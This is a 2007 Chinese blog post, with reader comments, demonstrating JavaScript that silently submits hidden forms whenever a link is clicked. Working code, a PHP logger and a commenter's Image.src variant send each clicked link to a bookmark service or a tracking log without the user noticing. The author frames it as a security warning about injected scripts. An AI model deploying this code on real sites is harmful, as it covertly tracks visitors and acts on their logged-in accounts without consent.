最近更新: 2007-01-23

無所覺的表單動作, 在使用者未察覺的情形下自動送出表單

這是本人一時興起的試驗作品,寫完之後發現... 這是「惡意」的表單動作。因為我可以在使用者毫無所覺的情形下,記錄使用者瀏覽網站的每一個動作。

原始動機起於我想要在每一個連結上加上「點擊即自動加入書籤」的功能。作法是為網頁上每一個連結都加上點擊事件 (click event) 。當使用者點擊連結時,事件處理函數會自動產生一個表單 (form) ,將連結的網址及標題 (連結標籤中的文字) 填入,再自動將表單送往 黑米共享書籤 (Hemidemi) ,即完成加入書籤的動作。整個過程中,表單是不可見及不可察覺的。瀏覽器仍然會載入連結,而使用者不會察覺到表單送出動作。

範例網頁 normal.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8">
  <title>範例網頁</title>
  </head>
  <body>
    <div id='posted' name='posted'>
      <a href="http://www.google.com/">Google</a><br/>
      <a href="http://tw.yahoo.com/">Yahoo!</a><br/>
      <a href="http://blog.roodo.com/">Roodo</a><br/>
    </div>
  </body>

<script type="text/javascript" src="watch.js"></script>
</html>

這是一個非常平凡的網頁,裡面有三個連結。我說過要用點擊事件觸發自動表單動作,但這裡看不到任何傳統的 onclick=xxx 敘述。實則玄機都在第 15 行載入的 watch.js 中。

watch.js

function gotYou(a) {
    var h = document.createElement('iframe');
    h.name = 'hiddenFrame';
    h.style.display = 'none';
    for (var i = document.childNodes.length - 1; i >= 0 ; --i) {
        if (document.childNodes[i].nodeType == 1) {
            document.childNodes[i].appendChild(h);
            break;
        }
    }

    var hc = function(s) {
        return document.createElement(s);
    }

    var titleText = hc('input');
    with(titleText){name='user_bookmark[url]';value=a.href;}
    var urlText = hc('input');
    with(urlText){name='user_bookmark[title]';value=a.firstChild.nodeValue;}
    var permission = hc('input');
    with(permission){name='user_bookmark[permission]';value='public';}

    var form = hc('form');
    with(form) {
        style.display = 'none';
        appendChild(titleText);
        appendChild(urlText);
        appendChild(permission);
        method = 'POST';
        target = 'hiddenFrame';
        //action = 'http://www.hemidemi.com/user_bookmark/create';
        action = 'http://localhost/test/i_know_where_you_go.php';
    }

    for (var i = document.childNodes.length - 1; i >= 0 ; --i) {
        if (document.childNodes[i].nodeType == 1) {
            document.childNodes[i].appendChild(form);
            break;
        }
    }

    form.submit();
}

window.onload = function() {
    var anchors = document.getElementsByTagName('a');
    for (var i = anchors.length - 1; i >= 0; --i) {
        anchors[i].onclick = function() {
            gotYou(this);
        };
    }
}

在 watch.js 中,為 window.onload 事件指派了一個事件處理函數。該函數抓出了網頁中的所有連結,然後為這些連結指派了 onclick 事件處理函數 gotYou() 。這是第一步:為每個連結添加點擊事件處理函數。

看到 gotYou() 的內容,由於表單呈送動作 (submit) 一定會觸發瀏覽器載入新頁面的動作,為了讓使用者無所覺,必須建立一個 iframe 並將其指派為表單的動作目標視窗 (target) 。gotYou() 接著自動建立一個表單及表單欄位,並填入欄位內容。最後送出表單 (form.submit();) 。iframe 和表單都設定不顯示,因此使用者不會察覺我已經產生一個表單並將其送出。

看到此處,有興趣的讀者可以將範例網頁和 watch.js 存起來,將 watch.js 第 32 行的 action 指派之內容改成黑米書籤的書籤建立服務 (即第 31 行的網址) 。啟動瀏覽器,先登入黑米書籤再開啟範例網頁,接著點擊任一連結。瀏覽器照常載入連結的網頁,看似一切正常。這時請再回到黑米書籤,將會發現剛才的網頁已經被加入共享書籤了。

在 IE 中 (我測的是 IE6) ,此處無法指派表單動作目標為 iframe ,送出表單時 IE 會自動開啟新視窗載入表單的回傳結果。所以用 IE6 時,會看到瀏覽器新增了一個視窗,而新視窗中會顯示黑米書籤中加入了一個新書籤。

i_know_where_you_go.php

如果我只做到上面為止,或許看起來是個「體貼的自動化功能」。但接下來我要寫一個簡單的 PHP 程式 (i_know_where_you_go.php) 放在網路上,並將 watch.js 中的表單動作網址指派為這個 PHP 程式。同樣的動作,現在變成了一個使用者動作的記錄器。使用者在這頁面上點了什麼連結,全都記錄在 i_know_where_you_go.log 之中。

<?php
ob_start();
print_r($_POST);
$postContents = ob_get_contents();
ob_end_clean();

$s = date('Y-m-d H:i:s') . ": GOT YOU!\n" . $postContents;
file_put_contents('i_know_where_you_go.log', $s, FILE_APPEND);
?>
<script type="text/javascript">
if (document.all) { // just for IE
    window.close();
}
</script>

剛剛 IE 的使用者還會看到新視窗,這裡我加上了 window.close() 敘述直接把新視窗關掉。現在 IE 的使用者點擊連結後,只會發現「好像」閃了一下,接著注意力就放在載入的連結網頁上。渾然不知剛剛的點擊動作已經被我記錄下來了。

具有資安意識的讀者,應該已經想到如果自己的網頁被人植入一行–僅僅一行– JavaScript 的載入標籤,就足以把所有瀏覽自己網頁的參觀者都出賣了。

相關文章
樂多舊網址: http://blog.roodo.com/rocksaying/archives/2665954.html

樂多舊回應
未留名 (#comment-3893103)
Mon, 29 Jan 2007 03:59:42 +0800
gotYou function這樣寫好像比較好寫一點?
可參考此篇 http://qtutu.com/blog/?p=11
function gotYou(a){
var dummyImage = new Image();
dummyImage.src = "http://www.hemidemi.com/user_bookmark/create?user_bookmark[url]=" + a.href + '&user_bookmark[title]=' + a.childNodes[0].nodeValue;
}
未留名 (#comment-3893371)
Mon, 29 Jan 2007 10:00:54 +0800
這兩種寫法有所差異。

image.src 的寫法,送出的是一個 HTTP GET request 。
我的寫法則是送出 HTTP POST request ,See 第29行。

黑米書籤沒有區分表單資料來源,是以用 GET request 也可以達成同樣目的。若表單目標區分表單資料來源,例如是一個 PHP 程式,而且只認 $_POST 的內容,則經由 GET request 送來的表單資料不會被處理。

還有一件事,經由 image.src 送出的內容,沒有各瀏覽器一致通用的方法可以分析回應內容 (like XmlHttpRequest.reponseText)。透過 form 的提交動作,則會獲得一個新頁面內容,可以再做其他事。例如上例會關閉新開啟的視窗。
未留名 (#comment-18424689)
Fri, 23 Jan 2009 10:09:18 +0800
0.0 如果他是用新版IE 開分頁 那window. close執行後 他會詢問要不要關閉
未留名 (#comment-20124907)
Mon, 30 Nov 2009 15:23:18 +0800
ie6之所以無法設定target到動態產生的iframe
原因是因為動態產生的iframe她沒把iframe物件參照記錄進window.frames陣列中
所以只要手動替IE寫進去就可以同樣使用target去指定post目標頁框
未留名 (#comment-20124933)
Mon, 30 Nov 2009 15:30:54 +0800
不好意思 更正一下
應該不能說沒寫進frames中
而是IE沒用frame name當陣列索引
未留名 (#comment-20130331)
Mon, 30 Nov 2009 21:34:01 +0800
你們說的事,應該都是現在的 IE7, IE8 修正過後的結果了。

畢竟這是一篇兩年前貼的舊文。也正如我所說的,這可以變成一個惡意的網頁動作。所以這一、兩年來,瀏覽器也漸漸修正了這些不適當的動作。
未留名 (#comment-20132803)
Tue, 01 Dec 2009 12:44:52 +0800
恩恩..
老實說在我工作環境沒有像前輩這樣的程式設計師
都是一些老派IE6 ONLY的設計師
改天有機會在向您請教一番
我先把您網站上的文爬一爬
未留名 (#comment-20134141)
Tue, 01 Dec 2009 20:49:26 +0800
也許我是更老派的設計師。
因為我從 Netscape 2, IE 3 就在上面寫 JavaScript跟 DnyamicHTML 了。
更古怪的瀏覽器行為我都碰過啊 XD